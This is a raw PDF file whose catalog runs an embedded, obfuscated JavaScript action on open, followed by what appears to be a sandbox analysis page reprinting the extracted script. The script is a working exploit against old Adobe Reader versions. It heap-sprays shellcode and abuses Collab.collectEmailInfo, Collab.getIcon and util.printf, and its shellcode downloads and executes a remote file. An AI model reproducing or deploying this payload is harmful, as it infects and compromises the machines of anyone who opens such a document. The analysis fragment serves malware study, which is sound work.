UO?��TAs;Ř ��� �3�ݯO� ���� �� �6 �C@�Zb��4����b
��|�l�|#| ��
NÃ%�i �h/��)�\ /�� G �kz ����h�ye��Ht� :/��Sl�`st� X�� ��ʢ���}M<� 6C��J ��_UT8� k���gw � 6FU�D�h� �� in8��6�߰%|�S3 �F+ ���:N(�� - �����h��:ؼ�}~�Wt g =PD* � �6 n�����0��(�|�� �� ;� l� ���b=H~ =��>q ;�� ��Q�Oݚɶ����=� K#j���eJ�����j/�,��6g�ˋ> �S���� � ��p���i��-P ���ȑ`�V ~ ��� �ܛ��]D�ԡ��� �2HR������ ' Q�mi Q��T ���Qz ���&�� 2� W
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2395>>
stream
x�śM��8 ���+� �{������3 3 �1ӵ���9 �A6 J ��_��\ �]e���ގpU�m�R��>ʔ � u үx��?�+��g<���� m�0��-�x ���s Eq opIH�e���| ,f�ZEA8��� �D�I�oOW� ����� Ⱦ5<��r��D�U0��:Z QL� ��ׂ��p��,5 ��� �
^�z2��妋���2������ u_H��!U���}�`��� w�cwg�b��ݽ��� ~~�ɘ��~g0�?� �<�i�� l���" ����%}���F,};3�n��� �z������ )UBsEM!�X)�XZpMv.u@��(cY�Ӿ� � R�h��� g5����� �A�;V5� AI��ɔx#ӂ�pE��h�4 i� >� �� ��� �|� \�>�����)AXf���JH�T�^ / �~i�)۪!�*�y�d@�� V� �$UL�z��L� P{ ��!�ۨ:��lkC n�Q"�� ���
��+1( � }lkJ�j���� F�%�Nd���
F{��tv� }� �CR���J�% ����&SMy[��WKg�`��� �� de� J��c [�댌T�F�:�T��5^� E���ˁ�^�%n��Iմ �#�Ga�#?I;W ��u nQeF�M.�B��!�'ƅl)�_z�x�� �� ^MD� � !���?��il ��K�$��R���\o^C� O��$!���X�'�1�� ��ڼU i��4�5/��lݖ�4 ��s��\ $ő6��V���5��� �ro�� \" m[�P7�PZ2 y;P�n� �:A�77y�z�� � 3���� ^��'4)� g�� �#�X�0� �@4�6�1+9�HH� � J�0 }�3dä��S�J�� W :���� ���2a5��A�k��. k Z �%� ^ ��� $ �@� ˡJVv�Q��� # *������ �h+ �9���
���0�i� f �� #�`�MB�{ ڊ �H��A�1�d��B!��T>��;"���!; �� t�ig�xt�@��N�7 � �|�>!�/a��j +{��� ����#�%r%R[}�� � X�� "�@��}O%� ��t� �V� )���ZO���K��f>M� �ڼ ,�|N�b�w�h� KO��Yl H C V�g �"��:� ��9�
�v� � �x�9b�b)��V J <!�JSc��� �6� �X.nB ���2�L�� �� � i �;Q � ���g��.� ne�Z� ,�ڴ Pn�>z�w6 �"|�H;�>��\:ĝ+�α�� �F�u� x�-Nj͓w �
� R� L8�� � 5X�P�� � L�P8� � �� 6� ٥��1� �pT-�i+QK�G��� #�J+
� -�XS��xU��S�pb k�4 �&� < ��#�� .} +tt����`� ��9� ��wQ�RC��wk�5d m���h�|� _ [�ނ�T ^ q�v�?N�au7�@�a �x�j3����ʧ�+����
��� C�>X:�?['�� c�$y�W�� S�� �,�~�_ʴ�0 I7�� e�����ْѫ�s'�c�E�J
�C����1�N�}vGQ��0 �0gKQ�vFN��W�S�: ST���v��K| :u�^��7N���'Sv* ���U ef�]� �4V[m ; ���j�u�.z2m) �����P N
*�g �4w�$�
����)�ԅ �"~z�뚬C � ��
��JUɪg���x� qK9{E�t@_� ��,�/%f��E � �[��. -Ri�9 Ǫ��� c���
i�vm��،�4 �y�&��P�; }�^�ׁ�67l- ��%�}��S����� �i��e *:Ҭ� ! �s��m
� ԓ��WpV� �W���hO�� .���U*����� ͝m Ծj�N�Z��� 7�]���XU��� D�u�b�v m�D\2���)�f+����� �6� }� ��.��ə3�_|� �6`Ox�a �c�7ӛ�>�1 �I\�
�$�� � b� )�� ���� �fFN�/���)x�uW�n�iq8 :C3�e�2,*I2� ȧ��|k� ��bz�7�8�w{�>S'Z ��Bc��� ����"�@IL[��� � r�ځX�r CT�V���ا��A s��< �!݉J_.2�C Q�?Җ=��N��逑6�3#� �>m^:� �/���]�.a�;u���6�䮧OS� I���� q�w>��
.��@ ��Ǝ{o�� ůA�� �r�l� �G{b �l�
���� <ȱ � ϐ��O��X�U�f˱-� w#1kե�9��ni
Zy��x����z
� ��#�_q�sp�^���H��� 5��5v4�����p �h�Ƒ�
��Tk w K��l�xbo�@ MZ�9�UT"�h��q�؍p��f�50 h����/�|cq`����d",b�F �o���A�p_ y��~ �¬b�K��A >��vjb�@��Y� ���p/�l
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 2139>>
stream
x��[]s�6 }��� �3� � �>^=m:��n������ $! H�)���=� C�%���$3Rb� ���� a���~�gM ���
|~�gus{G��Ǵ ��������Q %A��#!��`��I �1�fQ ƔW�~T���鄢�= ^ ���o�"�'�xB�h D � �� Jf��L��v,o ���~E �[} �[ M ��� � ��% ��T��O�ɣv�`�R �V�Y��Vl ���� ����'1��> ̇C���8�� =����4 ���ϒ>���/ }�3_�� � 1{ �JS��]Mk՚����`E1ЦV �{��5ULњ��2Q�8��M��ـᆭJ�"��=�����L +\ɉ7*/ �o���2$AA��� m q)H��S�%/ �N�`2?`mdW5�YEy)h)�Ax D�5 ~� �1�"=)k+@� � � [� t+��� � �T���z�
� � �R<�6j���b�Vx�b�co���$�J&� � �db3p 8�� #��t O��� M�o��m���u � V � i��Q��@�����;�'��jZuR �;�e {��� ٙ�2�6�a)x]�zE���H�o�-uG� �n �s���8X<�r_�*�_��6BJC�* �Z�;�;��[ݵ%m�f-� �� � z�,� �� ��%��2C����V� nKEfȄ�x�O�Q�X��)EA���� � ��1 ��u ʫ��3���� ��z�4�4R@�%�M�zC�f�� �Y���[6آ �K$��dK��� �� Y >��G����ȴHT�I �ϩ P *�d��8��ӈ $� -���h)�L�ζ�t�%�j&��� �V+j;�$��*le�ސFK\ �BW��r�F��b�}B�� � {� 2rP�S�<S�-���b+�I-���3�L�*��װf�ǒz/Ч[�$`R� 4 �,��v�R��5R.� ����� � ��2K!" '-^ M��S+
� 1c; �c � μ�a^ N�t=W��� o�jh ���ԯm��k}N'N]F�ᗺGNJ�5�� � e� K %ޱt� |�T��� y�! �K�eժ �q�:�,xm��Y�(�:9�Ā���Ν2��泖U�^-1XHpː����B� :�>�>X��4ދ��>ᦋc�� � �j� 2��I� ��5�����Y��id�f���$���`.�Q �i���\%�����;���Z�Z��Q>�"D)�z� �j�x�Q(KL1j$ �� �陆1A����� P�H�{�r:qD��T�9K�{>� ��ר4X�"�J=`�
����j�yR_}�� �?��#
d&2�/����.��Vi qP��꜖-m�Q y�T'}b ��T�����?��z��GL� N��扯� w�p���=R� -�L�SW��'4ߌ0� QS p]R46c
$�R[��2� �� m �Ts�
K {�"ڗ��9O Ҿ G���� y��Ɗg��'0��Uv)Kb���� � -َ&�u �����H�2�GV�9� J����7�� �\����
C�PYЈb��� i�칤z��It���N�v����W/�6�� � �c� �w� ��'��H74Wh<SUƆqR��.��'3�I<��.fj#̣Oȡӎ竫H��+�' G�c��K� )_Zc=��O�s�� -�گ3��o]<� � ���N�W�� ����&i4��"X\)T�y �d� ��>�4o��k��� =�;�
o[� &- p$x�'����Jv�^{7r y�^� V�ᆎQǻ��{��1*U����e���5^8N=3�(ay�/i� �x~D���=<w�_i��'��� =P� ۱_k!�'ک �8�������YA��o��}�1bz��:ʒ�Y�� 9qBp�p疌�� im�xR.AYR䛗�>OQ�O�����Gt� ���J{5�q4}Ւ�טB� �u�� D�x�@���o� ���G�~ ��lq ���_.�^ {\�Y EENl���h��nr�1�� ����A i�8=���]M�Q��'� -�� Y��[ K[[�_� ��'N N�כw#��g2�� ��}�
�ܺ s��*a0�M�0*k� H�$`� �Y{tz�R��Un߰��� � 5r���,�Љ� �vb�u u � � >� � �©ę3��u<�zjP �%��sX�N[^u|���z� �~���
D �������x $�; �ў���A�rjk%� �ܖ�&��#Xן��� u���
endstream
endobj
11 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 12 0 R>>
endobj
12 0 obj
<</Filter /FlateDecode /Length 341>>
stream
x����n�@ E{ �-�f� �G P("A�D�b�7 �e�52�}�1 �( � [k��sf̙ P�cH��dJ��b@1� bt� � �;z����
B(�"*��>�#t%� A ��e�< <� ��
� ��M k4���Y�A� ?`��P�L(� &w�q�֔��5��~�xH �3Ͽ �
!�� �h��E ����y��Չ.g�F�
��kT �wy�x��>���}�̸�I��B� � �V���y� x�/:�$�w��K@ ���Ϸ֡�w�� �\%p�7���)�E �e;�Y^X�� �q ;C��v���
��� ��!S�8����� 4r�K����-���-4:�' ~� ��
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
11 0 R
]
/Count 5
>>
endobj
13 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
14 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
17 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
18 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2136>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?Ţ�+�9B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �) �@�oah� 4� VvaE P ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��- � zR�E ���QE QE QE QE QE QE QE QE QE S�g���c�J� z�Q'b� �a ))�)��i 8� KAE U � G�2h��� �qH ���s%.o4P�(=h��B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �~��A��4 })Ł���% �5MXF zu�ғ� ���ijD��(���B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��)i dP40�a���9�� zT�� �Ţ�) QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE1�'"�E �E P ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E RN��QE �(��(��(��(��(��(��)q�J^��B`i)s�% � QE C
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��Z�H(��c
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��?��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 15 0 R
/F2 16 0 R
/F3 17 0 R
>>
/XObject <<
/I1 18 0 R
>>
/Properties <</OC1 13 0 R /OC2 14 0 R>>
/ExtGState <<
>>
>>
endobj
19 0 obj
<<
/Names [(EmbeddedJS) 20 0 R ]
>>
endobj
20 0 obj
<<
/S /JavaScript
/JS (��var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array\(\);k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array\("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr"\);var sxz3TlE7H = 'var aT2SIgMrm = new Array\(\);var jUCXkje3R;function lHskEaMkm\(mjQ0s1Jm, vy5AnujZ\){while\(mjQ0s1Jm.length * 2 < vy5AnujZ\){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring\(0, vy5AnujZ / 2\);return mjQ0s1Jm;}function kTh8tyaiMl\(dwSy84Ewqd\){if\(dwSy84Ewqd == 0\){var zwWH2gY7 = 0x0c0c0c0c;}else if\(dwSy84Ewqd == 1\){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array\(\\"%u535\\",\\"0%u5251\\",\\"%u5756%u9c\\",\\"55%u00e\\",\\"8%u0000%\\",\\"u5d00%ued8\\",\\"3%u310\\",\\"d%u64c0%u4\\",\\"003%u78\\",\\"30%u8b0c%\\",\\"u0c40%u\\",\\"708b%uad1\\",\\"c%u408\\",\\"b%ueb0\\",\\"8%u8b09%u\\",\\"3440%\\",\\"u408d%u8\\",\\"b7c%u3c\\",\\"40%u575\\",\\"6%u5ebe\\",\\"%u0001%u01\\",\\"00%ubfe\\",\\"e%u014e%u0\\",\\"000%uef01%\\",\\"ud6e8%u\\",\\"0001%\\",\\"u5f00%u895\\",\\"e%u81\\",\\"ea%u5\\",\\"ec2%u0001%\\",\\"u5200%\\",\\"u8068%\\",\\"u0000%uff\\",\\"00%u4e95%\\",\\"u0001%u8\\",\\"900%u81e\\",\\"a%u5ec2\\",\\"%u0001%u3\\",\\"100%u01\\",\\"f6%u8ac2\\",\\"%u359c\\",\\"%u0263%u00\\",\\"00%ufb80%u\\",\\"7400%u88\\",\\"06%u321c%u\\",\\"eb46%uc6\\",\\"ee%u320\\",\\"4%u8900%u8\\",\\"1ea%u45c2\\",\\"%u0002%\\",\\"u5200\\",\\"%u95ff%u01\\",\\"52%u00\\",\\"00%uea89%u\\",\\"c281%\\",\\"u0250%u00\\",\\"00%u5052%\\",\\"u95ff\\",\\"%u0156%\\",\\"u0000%\\",\\"u006a\\",\\"%u006a%uea\\",\\"89%uc281%\\",\\"u015e\\",\\"%u0000\\",\\"%u8952%\\",\\"u81ea%u78c\\",\\"2%u000\\",\\"2%u520\\",\\"0%u00\\",\\"6a%ud0ff\\",\\"%u056a%u\\",\\"ea89%\\",\\"uc281%u\\",\\"015e%u0\\",\\"000%uff52%\\",\\"u5a95%u\\",\\"0001%\\",\\"u8900\\",\\"%u81e\\",\\"a%u5ec2%u\\",\\"0001%u520\\",\\"0%u8068\\",\\"%u0000%uf\\",\\"f00%u4e\\",\\"95%u0001%u\\",\\"8900%\\",\\"u81ea\\",\\"%u5ec\\",\\"2%u000\\",\\"1%u3100%u\\",\\"01f6%u8a\\",\\"c2%u3\\",\\"59c%u0\\",\\"26e%u0\\",\\"000%ufb\\",\\"80%u7400%\\",\\"u8806%u3\\",\\"21c%ue\\",\\"b46%uc\\",\\"6ee%u3204%\\",\\"u8900%u8\\",\\"1ea%u45\\",\\"c2%u0\\",\\"002%u5200\\",\\"%u95ff%\\",\\"u0152%u00\\",\\"00%uea8\\",\\"9%uc281%u0\\",\\"250%u\\",\\"0000%u5\\",\\"052%u95f\\",\\"f%u0156%\\",\\"u0000%u0\\",\\"06a%u006a\\",\\"%uea89%uc2\\",\\"81%u015e\\",\\"%u0000\\",\\"%u8952%u81\\",\\"ea%ua6c2%\\",\\"u0002\\",\\"%u5200%u00\\",\\"6a%ud\\",\\"0ff%u05\\",\\"6a%uea89%u\\",\\"c281%u015\\",\\"e%u0000%\\",\\"uff52%\\",\\"u5a95\\",\\"%u0001%u9d\\",\\"00%u5f5d\\",\\"%u5a5e%u5\\",\\"b59%uc3\\",\\"58%u0000\\",\\"%u0000\\",\\"%u0000%u00\\",\\"00%u00\\",\\"00%u0000%\\",\\"u0000%u000\\",\\"0%u6547\\",\\"%u547\\",\\"4%u6d65\\",\\"%u5070%u7\\",\\"461%u41\\",\\"68%u4c\\",\\"00%u616f%\\",\\"u4c64%u626\\",\\"9%u6172%\\",\\"u7972%u0\\",\\"041%u6547%\\",\\"u5074%u6\\",\\"f72%u4163\\",\\"%u646\\",\\"4%u6572%u7\\",\\"373%u\\",\\"5700%u6e\\",\\"69%u7845\\",\\"%u6365%ubb\\",\\"00%uf289%\\",\\"uf789%\\",\\"uc030%\\",\\"u75ae%u29\\",\\"fd%u89f7\\",\\"%u31f9%\\",\\"ubec0%u003\\",\\"c%u00\\",\\"00%ub503%u\\",\\"021b%\\",\\"u0000%ua\\",\\"d66%u85\\",\\"03%u021b%u\\",\\"0000%u708\\",\\"b%u837\\",\\"8%u1c\\",\\"c6%ub503%u\\",\\"021b%u000\\",\\"0%ubd8d%u0\\",\\"21f%u0\\",\\"000%u03ad%\\",\\"u1b85%u\\",\\"0002%ua\\",\\"b00%u03ad%\\",\\"u1b85%\\",\\"u0002\\",\\"%u5000%uad\\",\\"ab%u85\\",\\"03%u0\\",\\"21b%u\\",\\"0000%\\",\\"u5eab%\\",\\"udb31%u56a\\",\\"d%u8503%u\\",\\"021b%u\\",\\"0000%\\",\\"uc689%ud\\",\\"789%ufc5\\",\\"1%ua6f\\",\\"3%u7459%u\\",\\"5e04%ueb\\",\\"43%u5ee9\\",\\"%ud193%u03\\",\\"e0%u278\\",\\"5%u0002%u3\\",\\"100%u96f\\",\\"6%uad6\\",\\"6%ue0c\\",\\"1%u0302%u1\\",\\"f85%u00\\",\\"02%u890\\",\\"0%uad\\",\\"c6%u8503%\\",\\"u021b%u00\\",\\"00%ue\\",\\"bc3%u00\\",\\"10%u0000%\\",\\"u0000%u00\\",\\"00%u0000\\",\\"%u0000%u00\\",\\"00%u0\\",\\"000%u\\",\\"8900%u1b\\",\\"85%u0\\",\\"002%u5600%\\",\\"ue857%uf\\",\\"f58%uf\\",\\"fff%u5e5\\",\\"f%u01ab\\",\\"%u80c\\",\\"e%ubb3e\\",\\"%u0274%ued\\",\\"eb%u5\\",\\"5c3%u4c5\\",\\"2%u4f\\",\\"4d%u2e4e%\\",\\"u4c44%u0\\",\\"04c%u525\\",\\"5%u44\\",\\"4c%u776f%\\",\\"u6c6e%u616\\",\\"f%u5464\\",\\"%u466f%u6\\",\\"c69%u41\\",\\"65%u7500\\",\\"%u6470%\\",\\"u7461%u2e\\",\\"65%u78\\",\\"65%u00\\",\\"65%u7263%u\\",\\"7361%u\\",\\"2e68%\\",\\"u6870%u00\\",\\"70%u74\\",\\"68%u7074%u\\",\\"2f3a%u\\",\\"732f%u617\\",\\"4%u6c6c%u\\",\\"6176%\\",\\"u7372%u3\\",\\"72d%u\\",\\"632e%u2f6e\\",\\"%u7473%\\",\\"u2f37%u\\",\\"7075%u\\",\\"6164%u6574\\",\\"%u702\\",\\"e%u7068%\\",\\"u693f%u\\",\\"3d64%\\",\\"u2633%u657\\",\\"2%u3d74%\\",\\"u6b6f%u9\\",\\"000\\"\);lgzzbDvrJ = unescape\(lgzzbDvrJ.join\(\\"\\"\)\);var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - \(dN4ieP2iNJ + 0x38\);var mjQ0s1Jm = unescape\(\\"%u9090%u9090\\"\);mjQ0s1Jm = lHskEaMkm\(mjQ0s1Jm, vy5AnujZ\);var hggtyPDR = \(zwWH2gY7 - 0x400000\) / thxKGPqJ;for\(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++\){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl\(\){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString\(\);app.clearTimeOut\(jUCXkje3R\);if\(\(dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102\) || dWz30Wc8Sx < 7.1\){kTh8tyaiMl\(0\);var dUecnnyRL = unescape\(\\"%u0c0c%u0c0c\\"\);while\(dUecnnyRL.length < 44952\) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\\"collabStore\\"] = oNmYv6F8[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : dUecnnyRL}\);}if\(\(dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104\) || \(dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1\) || dWz30Wc8Sx <= 7.101\){try{if\(app.doc.Collab.getIcon\){kTh8tyaiMl\(2\);var g99lsB5aD5 = unescape\(\\" \\"\);while\(g99lsB5aD5.length < 0x4000\){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \\"N.\\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(g99lsB5aD5\);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch\(e\){gwCFv8QkMv = 1;}if\(gwCFv8QkMv == 1\){if\(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1\){kTh8tyaiMl\(1\);var krnGx4eoY = \\"12999999999999999999\\";for\(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++\){krnGx4eoY += \\"8\\";}var xwM9uDR1Z = util;xwM9uDR1Z[\\"printf\\"]\(\\"E000f\\", krnGx4eoY\);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut\(\\"app.pWqkQU3H\(\)\\", 10\);';var xLnzz5Ne6=new Array\("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX"\);this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace\(/[]/g, ''\);var aHj0mNxG=new Array\('iPu63Iz8l','jR3yxekiKc'\);function mWTf2NTmz\(q6bodhAB,sS1npu7qg,moOIAGhC\){return false;}var y0BzaR3Ce=new Array\("phldahIIt","rqVkMn73vX","wfNlaURwA"\);var nSd4Sni7x = 'eval';app[nSd4Sni7x]\(r6KInqXsz\);this.gBSQBVtK=false;var x8tgaP7Tc=new Array\(14633,1198\);vUYPS6xyP=0.3;)
>>
endobj
21 0 obj
<<
/Title (��andTextMake)
/Author (��sNotOver)
/Subject (��freeOldBc)
/Keywords (��layoutSourceGood, usedMakeHere, typeSourceHave)
/Creator (��wordsHiddenWord)
/Producer (��0147fa9611db0b7cd706139ae2170494)
/CreationDate (D:20091013200218+04'00')
/ModDate (D:20091013200218+04'00')
>>
endobj
22 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 19 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [13 0 R 14 0 R] /D <</ON [13 0 R] /OFF [14 0 R] /AS [<</Event /Print /OCGs [13 0 R 14 0 R] /Category [/Print]>> <</Event /View /OCGs [13 0 R 14 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 23
0000000000 65535 f
0000010245 00000 n
0000013185 00000 n
0000000009 00000 n
0000000117 00000 n
0000002428 00000 n
0000002536 00000 n
0000004829 00000 n
0000004937 00000 n
0000007403 00000 n
0000007512 00000 n
0000009723 00000 n
0000009833 00000 n
0000010328 00000 n
0000010444 00000 n
0000010558 00000 n
0000010665 00000 n
0000010774 00000 n
0000010882 00000 n
0000013380 00000 n
0000013432 00000 n
0000026064 00000 n
0000026486 00000 n
trailer
<<
/Size 23
/Root 22 0 R
/Info 21 0 R
>>
startxref
26888
%%EOF
|
|||
generic_stage_recovery_010.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from JavaScript object 20 at offset 0x3478 | 5945 bytes |
SHA-256: 1f40bb52b0024c584dc8be4326e0a94a1bd662fb81ea087fb301b1fed8abe0d9 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 42 of 74 identifiers look randomly generated (e.g. 'dwSy84Ewqd') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array();k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr");var sxz3TlE7H = 'var aT2SIgMrm = new Array();var jUCXkje3R;function lHskEaMkm(mjQ0s1Jm, vy5AnujZ){while(mjQ0s1Jm.length * 2 < vy5AnujZ){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring(0, vy5AnujZ / 2);return mjQ0s1Jm;}function kTh8tyaiMl(dwSy84Ewqd){if(dwSy84Ewqd == 0){var zwWH2gY7 = 0x0c0c0c0c;}else if(dwSy84Ewqd == 1){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array(\"%u535\",\"0%u5251\",\"%u5756%u9c\",\"55%u00e\",\"8%u0000%\",\"u5d00%ued8\",\"3%u310\",\"d%u64c0%u4\",\"003%u78\",\"30%u8b0c%\",\"u0c40%u\",\"708b%uad1\",\"c%u408\",\"b%ueb0\",\"8%u8b09%u\",\"3440%\",\"u408d%u8\",\"b7c%u3c\",\"40%u575\",\"6%u5ebe\",\"%u0001%u01\",\"00%ubfe\",\"e%u014e%u0\",\"000%uef01%\",\"ud6e8%u\",\"0001%\",\"u5f00%u895\",\"e%u81\",\"ea%u5\",\"ec2%u0001%\",\"u5200%\",\"u8068%\",\"u0000%uff\",\"00%u4e95%\",\"u0001%u8\",\"900%u81e\",\"a%u5ec2\",\"%u0001%u3\",\"100%u01\",\"f6%u8ac2\",\"%u359c\",\"%u0263%u00\",\"00%ufb80%u\",\"7400%u88\",\"06%u321c%u\",\"eb46%uc6\",\"ee%u320\",\"4%u8900%u8\",\"1ea%u45c2\",\"%u0002%\",\"u5200\",\"%u95ff%u01\",\"52%u00\",\"00%uea89%u\",\"c281%\",\"u0250%u00\",\"00%u5052%\",\"u95ff\",\"%u0156%\",\"u0000%\",\"u006a\",\"%u006a%uea\",\"89%uc281%\",\"u015e\",\"%u0000\",\"%u8952%\",\"u81ea%u78c\",\"2%u000\",\"2%u520\",\"0%u00\",\"6a%ud0ff\",\"%u056a%u\",\"ea89%\",\"uc281%u\",\"015e%u0\",\"000%uff52%\",\"u5a95%u\",\"0001%\",\"u8900\",\"%u81e\",\"a%u5ec2%u\",\"0001%u520\",\"0%u8068\",\"%u0000%uf\",\"f00%u4e\",\"95%u0001%u\",\"8900%\",\"u81ea\",\"%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u3\",\"59c%u0\",\"26e%u0\",\"000%ufb\",\"80%u7400%\",\"u8806%u3\",\"21c%ue\",\"b46%uc\",\"6ee%u3204%\",\"u8900%u8\",\"1ea%u45\",\"c2%u0\",\"002%u5200\",\"%u95ff%\",\"u0152%u00\",\"00%uea8\",\"9%uc281%u0\",\"250%u\",\"0000%u5\",\"052%u95f\",\"f%u0156%\",\"u0000%u0\",\"06a%u006a\",\"%uea89%uc2\",\"81%u015e\",\"%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002\",\"%u5200%u00\",\"6a%ud\",\"0ff%u05\",\"6a%uea89%u\",\"c281%u015\",\"e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u5\",\"b59%uc3\",\"58%u0000\",\"%u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0000%\",\"u0000%u000\",\"0%u6547\",\"%u547\",\"4%u6d65\",\"%u5070%u7\",\"461%u41\",\"68%u4c\",\"00%u616f%\",\"u4c64%u626\",\"9%u6172%\",\"u7972%u0\",\"041%u6547%\",\"u5074%u6\",\"f72%u4163\",\"%u646\",\"4%u6572%u7\",\"373%u\",\"5700%u6e\",\"69%u7845\",\"%u6365%ubb\",\"00%uf289%\",\"uf789%\",\"uc030%\",\"u75ae%u29\",\"fd%u89f7\",\"%u31f9%\",\"ubec0%u003\",\"c%u00\",\"00%ub503%u\",\"021b%\",\"u0000%ua\",\"d66%u85\",\"03%u021b%u\",\"0000%u708\",\"b%u837\",\"8%u1c\",\"c6%ub503%u\",\"021b%u000\",\"0%ubd8d%u0\",\"21f%u0\",\"000%u03ad%\",\"u1b85%u\",\"0002%ua\",\"b00%u03ad%\",\"u1b85%\",\"u0002\",\"%u5000%uad\",\"ab%u85\",\"03%u0\",\"21b%u\",\"0000%\",\"u5eab%\",\"udb31%u56a\",\"d%u8503%u\",\"021b%u\",\"0000%\",\"uc689%ud\",\"789%ufc5\",\"1%ua6f\",\"3%u7459%u\",\"5e04%ueb\",\"43%u5ee9\",\"%ud193%u03\",\"e0%u278\",\"5%u0002%u3\",\"1